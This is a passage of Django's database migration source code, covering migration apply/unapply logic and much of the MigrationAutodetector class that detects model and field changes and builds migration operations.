            # If this operation cannot be represented as SQL, place a comment
            # there instead
            if collect_sql:
                schema_editor.collected_sql.append("--")
                if not operation.reduces_to_sql:
                    schema_editor.collected_sql.append(
                        "-- MIGRATION NOW PERFORMS OPERATION THAT CANNOT BE WRITTEN AS SQL:"
                    )
                schema_editor.collected_sql.append("-- %s" % operation.describe())
                schema_editor.collected_sql.append("--")
                if not operation.reduces_to_sql:
                    continue
            # Save the state before the operation has run
            old_state = project_state.clone()
            operation.state_forwards(self.app_label, project_state)
            # Run the operation
            atomic_operation = operation.atomic or (self.atomic and operation.atomic is not False)
            if not schema_editor.atomic_migration and atomic_operation:
                # Force a transaction on a non-transactional-DDL backend or an
                # atomic operation inside a non-atomic migration.
                with atomic(schema_editor.connection.alias):
                    operation.database_forwards(self.app_label, schema_editor, old_state, project_state)
            else:
                # Normal behaviour
                operation.database_forwards(self.app_label, schema_editor, old_state, project_state)
        return project_state

    def unapply(self, project_state, schema_editor, collect_sql=False):
        """
        Takes a project_state representing all migrations prior to this one
        and a schema_editor for a live database and applies the migration
        in a reverse order.

        The backwards migration process consists of two phases:

        1. The intermediate states from right before the first until right
           after the last operation inside this migration are preserved.
        2. The operations are applied in reverse order using the states
           recorded in step 1.
        """
        # Construct all the intermediate states we need for a reverse migration
        to_run = []
        new_state = project_state
        # Phase 1
        for operation in self.operations:
            # If it's irreversible, error out
            if not operation.reversible:
                raise IrreversibleError("Operation %s in %s is not reversible" % (operation, self))
            # Preserve new state from previous run to not tamper the same state
            # over all operations
            new_state = new_state.clone()
            old_state = new_state.clone()
            operation.state_forwards(self.app_label, new_state)
            to_run.insert(0, (operation, old_state, new_state))

        # Phase 2
        for operation, to_state, from_state in to_run:
            if collect_sql:
                schema_editor.collected_sql.append("--")
                if not operation.reduces_to_sql:
                    schema_editor.collected_sql.append(
                        "-- MIGRATION NOW PERFORMS OPERATION THAT CANNOT BE WRITTEN AS SQL:"
                    )
                schema_editor.collected_sql.append("-- %s" % operation.describe())
                schema_editor.collected_sql.append("--")
                if not operation.reduces_to_sql:
                    continue
            if not schema_editor.connection.features.can_rollback_ddl and operation.atomic:
                # We're forcing a transaction on a non-transactional-DDL backend
                with atomic(schema_editor.connection.alias):
                    operation.database_backwards(self.app_label, schema_editor, from_state, to_state)
            else:
                # Normal behaviour
                operation.database_backwards(self.app_label, schema_editor, from_state, to_state)
        return project_state


class SwappableTuple(tuple):
    """
    Subclass of tuple so Django can tell this was originally a swappable
    dependency when it reads the migration file.
    """

    def __new__(cls, value, setting):
        self = tuple.__new__(cls, value)
        self.setting = setting
        return self


def swappable_dependency(value):
    """
    Turns a setting value into a dependency.
    """
    return SwappableTuple((value.split(".", 1)[0], "__first__"), value)






from .migration import Migration, swappable_dependency  # NOQA
from .operations import *  # NOQA






from __future__ import unicode_literals

import functools
import re
from itertools import chain

from django.conf import settings
from django.db import models
from django.db.migrations import operations
from django.db.migrations.migration import Migration
from django.db.migrations.operations.models import AlterModelOptions
from django.db.migrations.optimizer import MigrationOptimizer
from django.db.migrations.questioner import MigrationQuestioner
from django.db.migrations.utils import (
    COMPILED_REGEX_TYPE, RegexObject, get_migration_name_timestamp,
)
from django.utils import six

from .topological_sort import stable_topological_sort


class MigrationAutodetector(object):
    """
    Takes a pair of ProjectStates, and compares them to see what the
    first would need doing to make it match the second (the second
    usually being the project's current state).

    Note that this naturally operates on entire projects at a time,
    as it's likely that changes interact (for example, you can't
    add a ForeignKey without having a migration to add the table it
    depends on first). A user interface may offer single-app usage
    if it wishes, with the caveat that it may not always be possible.
    """

    def __init__(self, from_state, to_state, questioner=None):
        self.from_state = from_state
        self.to_state = to_state
        self.questioner = questioner or MigrationQuestioner()
        self.existing_apps = {app for app, model in from_state.models}

    def changes(self, graph, trim_to_apps=None, convert_apps=None, migration_name=None):
        """
        Main entry point to produce a list of applicable changes.
        Takes a graph to base names on and an optional set of apps
        to try and restrict to (restriction is not guaranteed)
        """
        changes = self._detect_changes(convert_apps, graph)
        changes = self.arrange_for_graph(changes, graph, migration_name)
        if trim_to_apps:
            changes = self._trim_to_apps(changes, trim_to_apps)
        return changes

    def deep_deconstruct(self, obj):
        """
        Recursive deconstruction for a field and its arguments.
        Used for full comparison for rename/alter; sometimes a single-level
        deconstruction will not compare correctly.
        """
        if isinstance(obj, list):
            return [self.deep_deconstruct(value) for value in obj]
        elif isinstance(obj, tuple):
            return tuple(self.deep_deconstruct(value) for value in obj)
        elif isinstance(obj, dict):
            return {
                key: self.deep_deconstruct(value)
                for key, value in obj.items()
            }
        elif isinstance(obj, functools.partial):
            return (obj.func, self.deep_deconstruct(obj.args), self.deep_deconstruct(obj.keywords))
        elif isinstance(obj, COMPILED_REGEX_TYPE):
            return RegexObject(obj)
        elif isinstance(obj, type):
            # If this is a type that implements 'deconstruct' as an instance method,
            # avoid treating this as being deconstructible itself - see #22951
            return obj
        elif hasattr(obj, 'deconstruct'):
            deconstructed = obj.deconstruct()
            if isinstance(obj, models.Field):
                # we have a field which also returns a name
                deconstructed = deconstructed[1:]
            path, args, kwargs = deconstructed
            return (
                path,
                [self.deep_deconstruct(value) for value in args],
                {
                    key: self.deep_deconstruct(value)
                    for key, value in kwargs.items()
                },
            )
        else:
            return obj

    def only_relation_agnostic_fields(self, fields):
        """
        Return a definition of the fields that ignores field names and
        what related fields actually relate to.
        Used for detecting renames (as, of course, the related fields
        change during renames)
        """
        fields_def = []
        for name, field in sorted(fields):
            deconstruction = self.deep_deconstruct(field)
            if field.remote_field and field.remote_field.model:
                del deconstruction[2]['to']
            fields_def.append(deconstruction)
        return fields_def

    def _detect_changes(self, convert_apps=None, graph=None):
        """
        Returns a dict of migration plans which will achieve the
        change from from_state to to_state. The dict has app labels
        as keys and a list of migrations as values.

        The resulting migrations aren't specially named, but the names
        do matter for dependencies inside the set.

        convert_apps is the list of apps to convert to use migrations
        (i.e. to make initial migrations for, in the usual case)

        graph is an optional argument that, if provided, can help improve
        dependency generation and avoid potential circular dependencies.
        """

        # The first phase is generating all the operations for each app
        # and gathering them into a big per-app list.
        # We'll then go through that list later and order it and split
        # into migrations to resolve dependencies caused by M2Ms and FKs.
        self.generated_operations = {}
        self.altered_indexes = {}

        # Prepare some old/new state and model lists, separating
        # proxy models and ignoring unmigrated apps.
        self.old_apps = self.from_state.concrete_apps
        self.new_apps = self.to_state.apps
        self.old_model_keys = []
        self.old_proxy_keys = []
        self.old_unmanaged_keys = []
        self.new_model_keys = []
        self.new_proxy_keys = []
        self.new_unmanaged_keys = []
        for al, mn in sorted(self.from_state.models.keys()):
            model = self.old_apps.get_model(al, mn)
            if not model._meta.managed:
                self.old_unmanaged_keys.append((al, mn))
            elif al not in self.from_state.real_apps:
                if model._meta.proxy:
                    self.old_proxy_keys.append((al, mn))
                else:
                    self.old_model_keys.append((al, mn))

        for al, mn in sorted(self.to_state.models.keys()):
            model = self.new_apps.get_model(al, mn)
            if not model._meta.managed:
                self.new_unmanaged_keys.append((al, mn))
            elif (
                al not in self.from_state.real_apps or
                (convert_apps and al in convert_apps)
            ):
                if model._meta.proxy:
                    self.new_proxy_keys.append((al, mn))
                else:
                    self.new_model_keys.append((al, mn))

        # Renames have to come first
        self.generate_renamed_models()

        # Prepare lists of fields and generate through model map
        self._prepare_field_lists()
        self._generate_through_model_map()

        # Generate non-rename model operations
        self.generate_deleted_models()
        self.generate_created_models()
        self.generate_deleted_proxies()
        self.generate_created_proxies()
        self.generate_altered_options()
        self.generate_altered_managers()

        # Create the altered indexes and store them in self.altered_indexes.
        # This avoids the same computation in generate_removed_indexes()
        # and generate_added_indexes().
        self.create_altered_indexes()
        # Generate index removal operations before field is removed
        self.generate_removed_indexes()
        # Generate field operations
        self.generate_renamed_fields()
        self.generate_removed_fields()
        self.generate_added_fields()
        self.generate_altered_fields()
        self.generate_altered_unique_together()
        self.generate_altered_index_together()
        self.generate_added_indexes()
        self.generate_altered_db_table()
        self.generate_altered_order_with_respect_to()

        self._sort_migrations()
        self._build_migration_list(graph)
        self._optimize_migrations()

        return self.migrations

    def _prepare_field_lists(self):
        """
        Prepare field lists, and prepare a list of the fields that used
        through models in the old state so we can make dependencies
        from the through model deletion to the field that uses it.
        """
        self.kept_model_keys = set(self.old_model_keys).intersection(self.new_model_keys)
        self.kept_proxy_keys = set(self.old_proxy_keys).intersection(self.new_proxy_keys)
        self.kept_unmanaged_keys = set(self.old_unmanaged_keys).intersection(self.new_unmanaged_keys)
        self.through_users = {}
        self.old_field_keys = set()
        self.new_field_keys = set()
        for app_label, model_name in sorted(self.kept_model_keys):
            old_model_name = self.renamed_models.get((app_label, model_name), model_name)
            old_model_state = self.from_state.models[app_label, old_model_name]
            new_model_state = self.to_state.models[app_label, model_name]
            self.old_field_keys.update((app_label, model_name, x) for x, y in old_model_state.fields)
            self.new_field_keys.update((app_label, model_name, x) for x, y in new_model_state.fields)

    def _generate_through_model_map(self):
        """
        Through model map generation
        """
        for app_label, model_name in sorted(self.old_model_keys):
            old_model_name = self.renamed_models.get((app_label, model_name), model_name)
            old_model_state = self.from_state.models[app_label, old_model_name]
            for field_name, field in old_model_state.fields:
                old_field = self.old_apps.get_model(app_label, old_model_name)._meta.get_field(field_name)
                if (hasattr(old_field, "remote_field") and getattr(old_field.remote_field, "through", None) and
                        not old_field.remote_field.through._meta.auto_created):
                    through_key = (
                        old_field.remote_field.through._meta.app_label,
                        old_field.remote_field.through._meta.model_name,
                    )
                    self.through_users[through_key] = (app_label, old_model_name, field_name)

    def _build_migration_list(self, graph=None):
        """
        We need to chop the lists of operations up into migrations with
        dependencies on each other. We do this by stepping up an app's list of
        operations until we find one that has an outgoing dependency that isn't
        in another app's migration yet (hasn't been chopped off its list). We
        then chop off the operations before it into a migration and move onto
        the next app. If we loop back around without doing anything, there's a
        circular dependency (which _should_ be impossible as the operations are
        all split at this point so they can't depend and be depended on).
        """
        self.migrations = {}
        num_ops = sum(len(x) for x in self.generated_operations.values())
        chop_mode = False
        while num_ops:
            # On every iteration, we step through all the apps and see if there
            # is a completed set of operations.
            # If we find that a subset of the operations are complete we can
            # try to chop it off from the rest and continue, but we only
            # do this if we've already been through the list once before
            # without any chopping and nothing has changed.
            for app_label in sorted(self.generated_operations.keys()):
                chopped = []
                dependencies = set()
                for operation in list(self.generated_operations[app_label]):
                    deps_satisfied = True
                    operation_dependencies = set()
                    for dep in operation._auto_deps:
                        is_swappable_dep = False
                        if dep[0] == "__setting__":
                            # We need to temporarily resolve the swappable dependency to prevent
                            # circular references. While keeping the dependency checks on the
                            # resolved model we still add the swappable dependencies.
                            # See #23322
                            resolved_app_label, resolved_object_name = getattr(settings, dep[1]).split('.')
                            original_dep = dep
                            dep = (resolved_app_label, resolved_object_name.lower(), dep[2], dep[3])
                            is_swappable_dep = True
                        if dep[0] != app_label and dep[0] != "__setting__":
                            # External app dependency. See if it's not yet
                            # satisfied.
                            for other_operation in self.generated_operations.get(dep[0], []):
                                if self.check_dependency(other_operation, dep):
                                    deps_satisfied = False
                                    break
                            if not deps_satisfied:
                                break
                            else:
                                if is_swappable_dep:
                                    operation_dependencies.add((original_dep[0], original_dep[1]))
                                elif dep[0] in self.migrations:
                                    operation_dependencies.add((dep[0], self.migrations[dep[0]][-1].name))
                                else:
                                    # If we can't find the other app, we add a first/last dependency,
                                    # but only if we've already been through once and checked everything
                                    if chop_mode:
                                        # If the app already exists, we add a dependency on the last migration,
                                        # as we don't know which migration contains the target field.
                                        # If it's not yet migrated or has no migrations, we use __first__
                                        if graph and graph.leaf_nodes(dep[0]):
                                            operation_dependencies.add(graph.leaf_nodes(dep[0])[0])
                                        else:
                                            operation_dependencies.add((dep[0], "__first__"))
                                    else:
                                        deps_satisfied = False
                    if deps_satisfied:
                        chopped.append(operation)
                        dependencies.update(operation_dependencies)
                        self.generated_operations[app_label] = self.generated_operations[app_label][1:]
                    else:
                        break
                # Make a migration! Well, only if there's stuff to put in it
                if dependencies or chopped:
                    if not self.generated_operations[app_label] or chop_mode:
                        subclass = type(str("Migration"), (Migration,), {"operations": [], "dependencies": []})
                        instance = subclass("auto_%i" % (len(self.migrations.get(app_label, [])) + 1), app_label)
                        instance.dependencies = list(dependencies)
                        instance.operations = chopped
                        instance.initial = app_label not in self.existing_apps
                        self.migrations.setdefault(app_label, []).append(instance)
                        chop_mode = False
                    else:
                        self.generated_operations[app_label] = chopped + self.generated_operations[app_label]
            new_num_ops = sum(len(x) for x in self.generated_operations.values())
            if new_num_ops == num_ops:
                if not chop_mode:
                    chop_mode = True
                else:
                    raise ValueError("Cannot resolve operation dependencies: %r" % self.generated_operations)
            num_ops = new_num_ops

    def _sort_migrations(self):
        """
        Reorder to make things possible. The order we have already isn't bad,
        but we need to pull a few things around so FKs work nicely inside the
        same app
        """
        for app_label, ops in sorted(self.generated_operations.items()):
            # construct a dependency graph for intra-app dependencies
            dependency_graph = {op: set() for op in ops}
            for op in ops:
                for dep in op._auto_deps:
                    if dep[0] == app_label:
                        for op2 in ops:
                            if self.check_dependency(op2, dep):
                                dependency_graph[op].add(op2)

            # we use a stable sort for deterministic tests & general behavior
            self.generated_operations[app_label] = stable_topological_sort(ops, dependency_graph)

    def _optimize_migrations(self):
        # Add in internal dependencies among the migrations
        for app_label, migrations in self.migrations.items():
            for m1, m2 in zip(migrations, migrations[1:]):
                m2.dependencies.append((app_label, m1.name))

        # De-dupe dependencies
        for app_label, migrations in self.migrations.items():
            for migration in migrations:
                migration.dependencies = list(set(migration.dependencies))

        # Optimize migrations
        for app_label, migrations in self.migrations.items():
            for migration in migrations:
                migration.operations = MigrationOptimizer().optimize(migration.operations, app_label=app_label)

    def check_dependency(self, operation, dependency):
        """
        Returns ``True`` if the given operation depends on the given dependency,
        ``False`` otherwise.
        """
        # Created model
        if dependency[2] is None and dependency[3] is True:
            return (
                isinstance(operation, operations.CreateModel) and
                operation.name_lower == dependency[1].lower()
            )
        # Created field
        elif dependency[2] is not None and dependency[3] is True:
            return (
                (
                    isinstance(operation, operations.CreateModel) and
                    operation.name_lower == dependency[1].lower() and
                    any(dependency[2] == x for x, y in operation.fields)
                ) or
                (
                    isinstance(operation, operations.AddField) and
                    operation.model_name_lower == dependency[1].lower() and
                    operation.name_lower == dependency[2].lower()
                )
            )
        # Removed field
        elif dependency[2] is not None and dependency[3] is False:
            return (
                isinstance(operation, operations.RemoveField) and
                operation.model_name_lower == dependency[1].lower() and
                operation.name_lower == dependency[2].lower()
            )
        # Removed model
        elif dependency[2] is None and dependency[3] is False:
            return (
                isinstance(operation, operations.DeleteModel) and
                operation.name_lower == dependency[1].lower()
            )
        # Field being altered
        elif dependency[2] is not None and dependency[3] == "alter":
            return (
                isinstance(operation, operations.AlterField) and
                operation.model_name_lower == dependency[1].lower() and
                operation.name_lower == dependency[2].lower()
            )
        # order_with_respect_to being unset for a field
        elif dependency[2] is not None and dependency[3] == "order_wrt_unset":
            return (
                isinstance(operation, operations.AlterOrderWithRespectTo) and
                operation.name_lower == dependency[1].lower() and
                (operation.order_with_respect_to or "").lower() != dependency[2].lower()
            )
        # Field is removed and part of an index/unique_together
        elif dependency[2] is not None and dependency[3] == "foo_together_change":
            return (
                isinstance(operation, (operations.AlterUniqueTogether,
                                       operations.AlterIndexTogether)) and
                operation.name_lower == dependency[1].lower()
            )
        # Unknown dependency. Raise an error.
        else:
            raise ValueError("Can't handle dependency %r" % (dependency, ))

    def add_operation(self, app_label, operation, dependencies=None, beginning=False):
        # Dependencies are (app_label, model_name, field_name, create/delete as True/False)
        operation._auto_deps = dependencies or []
        if beginning:
            self.generated_operations.setdefault(app_label, []).insert(0, operation)
        else:
            self.generated_operations.setdefault(app_label, []).append(operation)

    def swappable_first_key(self, item):
        """
        Sorting key function that places potential swappable models first in
        lists of created models (only real way to solve #22783)
        """
        try:
            model = self.new_apps.get_model(item[0], item[1])
            base_names = [base.__name__ for base in model.__bases__]
            string_version = "%s.%s" % (item[0], item[1])
            if (
                model._meta.swappable or
                "AbstractUser" in base_names or
                "AbstractBaseUser" in base_names or
                settings.AUTH_USER_MODEL.lower() == string_version.lower()
            ):
                return ("___" + item[0], "___" + item[1])
        except LookupError:
            pass
        return item

    def generate_renamed_models(self):
        """
        Finds any renamed models, and generates the operations for them,
        and removes the old entry from the model lists.
        Must be run before other model-level generation.
        """
        self.renamed_models = {}
        self.renamed_models_rel = {}
        added_models = set(self.new_model_keys) - set(self.old_model_keys)
        for app_label, model_name in sorted(added_models):
            model_state = self.to_state.models[app_label, model_name]
            model_fields_def = self.only_relation_agnostic_fields(model_state.fields)

            removed_models = set(self.old_model_keys) - set(self.new_model_keys)
            for rem_app_label, rem_model_name in removed_models:
                if rem_app_label == app_label:
                    rem_model_state = self.from_state.models[rem_app_label, rem_model_name]
                    rem_model_fields_def = self.only_relation_agnostic_fields(rem_model_state.fields)
                    if model_fields_def == rem_model_fields_def:
                        if self.questioner.ask_rename_model(rem_model_state, model_state):
                            self.add_operation(
                                app_label,
                                operations.RenameModel(
                                    old_name=rem_model_state.name,
                                    new_name=model_state.name,
                                )
                            )
                            self.renamed_models[app_label, model_name] = rem_model_name
                            renamed_models_rel_key = '%s.%s' % (rem_model_state.app_label, rem_model_state.name)
                            self.renamed_models_rel[renamed_models_rel_key] = '%s.%s' % (
                                model_state.app_label,
                                model_state.name,
                            )
                            self.old_model_keys.remove((rem_app_label, rem_model_name))
                            self.old_model_keys.append((app_label, model_name))
                            break

    def generate_created_models(self):
        """
        Find all new models (both managed and unmanaged) and make create
        operations for them as well as separate operations to create any
        foreign key or M2M relationships (we'll optimize these back in later
        if we can).

        We also defer any model options that refer to collections of fields
        that might be deferred (e.g. unique_together, index_together).
        """
        old_keys = set(self.old_model_keys).union(self.old_unmanaged_keys)
        added_models = set(self.new_model_keys) - old_keys
        added_unmanaged_models = set(self.new_unmanaged_keys) - old_keys
        all_added_models = chain(
            sorted(added_models, key=self.swappable_first_key, reverse=True),
            sorted(added_unmanaged_models, key=self.swappable_first_key, reverse=True)
        )
        for app_label, model_name in all_added_models:
            model_state = self.to_state.models[app_label, model_name]
            model_opts = self.new_apps.get_model(app_label, model_name)._meta
            # Gather related fields
            related_fields = {}
            primary_key_rel = None
            for field in model_opts.local_fields:
                if field.remote_field:
                    if field.remote_field.model:
                        if field.primary_key:
                            primary_key_rel = field.remote_field.model
                        elif not field.remote_field.parent_link:
                            related_fields[field.name] = field
                    # through will be none on M2Ms on swapped-out models;
                    # we can treat lack of through as auto_created=True, though.
                    if (getattr(field.remote_field, "through", None) and
                            not field.remote_field.through._meta.auto_created):
                        related_fields[field.name] = field
            for field in model_opts.local_many_to_many:
                if field.remote_field.model:
                    related_fields[field.name] = field
                if getattr(field.remote_field, "through", None) and not field.remote_field.through._meta.auto_created:
                    related_fields[field.name] = field
            # Are there any indexes to defer?
            indexes = model_state.options['indexes']
            model_state.options['indexes'] = []
            # Are there unique/index_together to defer?
            unique_together = model_state.options.pop('unique_together', None)
            index_together = model_state.options.pop('index_together', None)
            order_with_respect_to = model_state.options.pop('order_with_respect_to', None)
            # Depend on the deletion of any possible proxy version of us
            dependencies = [
                (app_label, model_name, None, False),
            ]
            # Depend on all bases
            for base in model_state.bases:
                if isinstance(base, six.string_types) and "." in base:
                    base_app_label, base_name = base.split(".", 1)
                    dependencies.append((base_app_label, base_name, None, True))
            # Depend on the other end of the primary key if it's a relation
            if primary_key_rel:
                dependencies.append((
                    primary_key_rel._meta.app_label,
                    primary_key_rel._meta.object_name,
                    None,
                    True
                ))
            # Generate creation operation
            self.add_operation(
                app_label,
                operations.CreateModel(
                    name=model_state.name,
                    fields=[d for d in model_state.fields if d[0] not in related_fields],
                    options=model_state.options,
                    bases=model_state.bases,
                    managers=model_state.managers,
                ),
                dependencies=dependencies,
                beginning=True,
            )

            # Don't add operations which modify the database for unmanaged models
            if not model_opts.managed:
                continue

            # Generate operations for each related field
            for name, field in sorted(related_fields.items()):
                dependencies = self._get_dependencies_for_foreign_key(field)
                # Depend on our own model being created
                dependencies.append((app_label, model_name, None, True))
                # Make operation
                self.add_operation(
                    app_label,
                    operations.AddField(
                        model_name=model_name,
                        name=name,
                        field=field,
                    ),
                    dependencies=list(set(dependencies)),
                )
            # Generate other opns
            related_dependencies = [
                (app_label, model_name, name, True)
                for name, field in sorted(related_fields.items())
            ]
            related_dependencies.append((app_label, model_name, None, True))
            for index in indexes:
                self.add_operation(
                    app_label,
                    operations.AddIndex(
                        model_name=model_name,
                        index=index,
                    ),
                    dependencies=related_dependencies,
                )
            if unique_together:
                self.add_operation(
                    app_label,
                    operations.AlterUniqueTogether(
                        name=model_name,
                        unique_together=unique_together,
                    ),
                    dependencies=related_dependencies
                )
            if index_together:
                self.add_operation(
                    app_label,
                    operations.AlterIndexTogether(
                        name=model_name,
                        index_together=index_together,
                    ),
                    dependencies=related_dependencies
                )
            if order_with_respect_to:
                self.add_operation(
                    app_label,
                    operations.AlterOrderWithRespectTo(
                        name=model_name,
                        order_with_respect_to=order_with_respect_to,
                    ),
                    dependencies=[
                        (app_label, model_name, order_with_respect_to, True),
                        (app_label, model_name, None, True),
                    ]
                )

            # Fix relationships if the model changed from a proxy model to a
            # concrete model.
            if (app_label, model_name) in self.old_proxy_keys:
                for related_object in model_opts.related_objects:
                    self.add_operation(
                        related_object.related_model._meta.app_label,
                        operations.AlterField(
                            model_name=related_object.related_model._meta.object_name,
                            name=related_object.field.name,
                            field=related_object.field,
                        ),
                        dependencies=[(app_label, model_name, None, True)],
                    )

    def generate_created_proxies(self):
        """
        Makes CreateModel statements for proxy models.
        We use the same statements as that way there's less code duplication,
        but of course for proxy models we can skip all that pointless field
        stuff and just chuck out an operation.
        """
        added = set(self.new_proxy_keys) - set(self.old_proxy_keys)
        for app_label, model_name in sorted(added):
            model_state = self.to_state.models[app_label, model_name]
            assert model_state.options.get("proxy")
            # Depend on the deletion of any possible non-proxy version of us
            dependencies = [
                (app_label, model_name, None, False),
            ]
            # Depend on all bases
            for base in model_state.bases:
                if isinstance(base, six.string_types) and "." in base:
                    base_app_label, base_name = base.split(".", 1)
                    dependencies.append((base_app_label, base_name, None, True))
            # Generate creation operation
            self.add_operation(
                app_label,
                operations.CreateModel(
                    name=model_state.name,
                    fields=[],
                    options=model_state.options,
                    bases=model_state.bases,
                    managers=model_state.managers,
                ),
                # Depend on the deletion of any possible non-proxy version of us
                dependencies=dependencies,
            )

    def generate_deleted_models(self):
        """
        Find all deleted models (managed and unmanaged) and make delete
        operations for them as well as separate operations to delete any
        foreign key or M2M relationships (we'll optimize these back in later
        if we can).

        We also bring forward removal of any model options that refer to
        collections of fields - the inverse of generate_created_models().
        """
        new_keys = set(self.new_model_keys).union(self.new_unmanaged_keys)
        deleted_models = set(self.old_model_keys) - new_keys
        deleted_unmanaged_models = set(self.old_unmanaged_keys) - new_keys
        all_deleted_models = chain(sorted(deleted_models), sorted(deleted_unmanaged_models))
        for app_label, model_name in all_deleted_models:
            model_state = self.from_state.models[app_label, model_name]
            model = self.old_apps.get_model(app_label, model_name)
            if not model._meta.managed:
                # Skip here, no need to handle fields for unmanaged models
                continue

            # Gather related fields
            related_fields = {}
            for field in model._meta.local_fields:
                if field.remote_field:
                    if field.remote_field.model:
                        related_fields[field.name] = field
                    # through will be none on M2Ms on swapped-out models;
                    # we can treat lack of through as auto_created=True, though.
                    if (getattr(field.remote_field, "through", None) and
                            not field.remote_field.through._meta.auto_created):
                        related_fields[field.name] = field
            for field in model._meta.local_many_to_many:
                if field.remote_field.model:
                    related_fields[field.name] = field
                if getattr(field.remote_field, "through", None) and not field.remote_field.through._meta.auto_created:
                    related_fields[field.name] = field
            # Generate option removal first
            unique_together = model_state.options.pop('unique_together', None)
            index_together = model_state.options.pop('index_together', None)
            if unique_together:
                self.add_operation(
                    app_label,
                    operations.AlterUniqueTogether(
                        name=model_name,
                        unique_together=None,
                    )
                )
            if index_together:
                self.add_operation(
                    app_label,
                    operations.AlterIndexTogether(
                        name=model_name,
                        index_together=None,
                    )
                )
            # Then remove each related field
            for name, field in sorted(related_fields.items()):
                self.add_operation(
                    app_label,
                    operations.RemoveField(
                        model_name=model_name,
                        name=name,
                    )
                )
            # Finally, remove the model.
            # This depends on both the removal/alteration of all incoming fields
            # and the removal of all its own related fields, and if it's
            # a through model the field that references it.
            dependencies = []
            for related_object in model._meta.related_objects:
                related_object_app_label = related_object.related_model._meta.app_label
                object_name = related_object.related_model._meta.object_name
                field_name = related_object.field.name
                dependencies.append((related_object_app_label, object_name, field_name, False))
                if not related_object.many_to_many:
                    dependencies.append((related_object_app_label, object_name, field_name, "alter"))

            for name, field in sorted(related_fields.items()):
                dependencies.append((app_label, model_name, name, False))
            # We're referenced in another field's through=
            through_user = self.through_users.get((app_label, model_state.name_lower))
            if through_user:
                dependencies.append((through_user[0], through_user[1], through_user[2], False))
            # Finally, make the operation, deduping any dependencies
            self.add_operation(
                app_label,
                operations.DeleteModel(
                    name=model_state.name,
                ),
                dependencies=list(set(dependencies)),
            )

    def generate_deleted_proxies(self):
        """
        Makes DeleteModel statements for proxy models.
        """
        deleted = set(self.old_proxy_keys) - set(self.new_proxy_keys)
        for app_label, model_name in sorted(deleted):
            model_state = self.from_state.models[app_label, model_name]
            assert model_state.options.get("proxy")
            self.add_operation(
                app_label,
                operations.DeleteModel(
                    name=model_state.name,
                ),
            )

    def generate_renamed_fields(self):
        """
        Works out renamed fields
        """
        self.renamed_fields = {}
        for app_label, model_name, field_name in sorted(self.new_field_keys - self.old_field_keys):
            old_model_name = self.renamed_models.get((app_label, model_name), model_name)
            old_model_state = self.from_state.models[app_label, old_model_name]
            field = self.new_apps.get_model(app_label, model_name)._meta.get_field(field_name)
            # Scan to see if this is actually a rename!
            field_dec = self.deep_deconstruct(field)
            for rem_app_label, rem_model_name, rem_field_name in sorted(self.old_field_keys - self.new_field_keys):
                if rem_app_label == app_label and rem_model_name == model_name:
                    old_field_dec = self.deep_deconstruct(old_model_state.get_field_by_name(rem_field_name))
                    if field.remote_field and field.remote_field.model and 'to' in old_field_dec[2]:
                        old_rel_to = old_field_dec[2]['to']
                        if old_rel_to in self.renamed_models_rel:
                            old_field_dec[2]['to'] = self.renamed_models_rel[old_rel_to]
                    if old_field_dec == field_dec:
                        if self.questioner.ask_rename(model_name, rem_field_name, field_name, field):
                            self.add_operation(
                                app_label,
                                operations.RenameField(
                                    model_name=model_name,
                                    old_name=rem_field_name,
                                    new_name=field_name,
                                )
                            )
                            self.old_field_keys.remove((rem_app_label, rem_model_name, rem_field_name))
                            self.old_field_keys.add((app_label, model_name, field_name))
                            self.renamed_fields[app_label, model_name, field_name] = rem_field_name
                            break

    def generate_added_fields(self):
        """
        Fields that have been added
        """
        for app_label, model_name, field_name in sorted(self.new_field_keys - self.old_field_keys):
            self._generate_added_field(app_label, model_name, field_name)

    def _generate_added_field(self, app_label, model_name, field_name):
        field = self.new_apps.get_model(app_label, model_name)._meta.get_field(field_name)
        # Fields that are foreignkeys/m2ms depend on stuff
        dependencies = []
        if field.remote_field and field.remote_field.model:
            dependencies.extend(self._get_dependencies_for_foreign_key(field))
        # You can't just add NOT NULL fields with no default or fields
        # which don't allow empty strings as default.
        preserve_default = True
        time_fields = (models.DateField, models.DateTimeField, models.TimeField)
        if (not field.null and not field.has_default() and
                not field.many_to_many and
                not (field.blank and field.empty_strings_allowed) and
                not (isinstance(field, time_fields) and field.auto_now)):
            field = field.clone()
            if isinstance(field, time_fields) and field.auto_now_add:
                field.default = self.questioner.ask_auto_now_add_addition(field_name, model_name)
            else:
                field.default = self.questioner.ask_not_null_addition(field_name, model_name)
            preserve_default = False
        self.add_operation(
            app_label,
            operations.AddField(
                model_name=model_name,
                name=field_name,
                field=field,
                preserve_default=preserve_default,
            ),
            dependencies=dependencies,
        )

    def generate_removed_fields(self):
        """
        Fields that have been removed.
        """
        for app_label, model_name, field_name in sorted(self.old_field_keys - self.new_field_keys):
            self._generate_removed_field(app_label, model_name, field_name)

    def _generate_removed_field(self, app_label, model_name, field_name):
        self.add_operation(
            app_label,
            operations.RemoveField(
                model_name=model_name,
                name=field_name,
            ),
            # We might need to depend on the removal of an
            # order_with_respect_to or index/unique_together operation;
            # this is safely ignored if there isn't one
            dependencies=[
                (app_label, model_name, field_name, "order_wrt_unset"),
                (app_label, model_name, field_name, "foo_together_change"),
            ],
        )

    def generate_altered_fields(self):
        """
        Fields that have been altered.
        """
        for app_label, model_name, field_name in sorted(self.old_field_keys.intersection(self.new_field_keys)):
            # Did the field change?
            old_model_name = self.renamed_models.get((app_label, model_name), model_name)
            old_field_name = self.renamed_fields.get((app_label, model_name, field_name), field_name)
            old_field = self.old_apps.get_model(app_label, old_model_name)._meta.get_field(old_field_name)
            new_field = self.new_apps.get_model(app_label, model_name)._meta.get_field(field_name)
            # Implement any model renames on relations; these are handled by RenameModel
            # so we need to exclude them from the comparison
            if hasattr(new_field, "remote_field") and getattr(new_field.remote_field, "model", None):
                rename_key = (
                    new_field.remote_field.model._meta.app_label,
                    new_field.remote_field.model._meta.model_name,
                )
                if rename_key in self.renamed_models:
                    new_field.remote_field.model = old_field.remote_field.model
            if hasattr(new_field, "remote_field") and getattr(new_field.remote_field, "through", None):
                rename_key = (
                    new_field.remote_field.through._meta.app_label,
                    new_field.remote_field.through._meta.model_name,
                )
                if rename_key in self.renamed_models:
                    new_field.remote_field.through = old_field.remote_field.through
            old_field_dec = self.deep_deconstruct(old_field)
            new_field_dec = self.deep_deconstruct(new_field)
            if old_field_dec != new_field_dec:
                both_m2m = old_field.many_to_many and new_field.many_to_many
                neither_m2m = not old_field.many_to_many and not new_field.many_to_many
                if both_m2m or neither_m2m:
                    # Either both fields are m2m or neither is
                    preserve_default = True
                    if (old_field.null and not new_field.null and not new_field.has_default() and
